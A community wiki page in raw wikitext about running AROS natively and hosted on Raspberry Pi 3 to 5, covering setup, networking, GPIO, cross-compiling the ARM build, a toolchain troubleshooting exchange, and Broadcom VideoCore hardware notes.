</pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} licl47dnjp38fmyk21extf5o887wg7a 4670627 4670626 2026-09-17T12:10:23Z Jeff1138 301139 4670627 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], 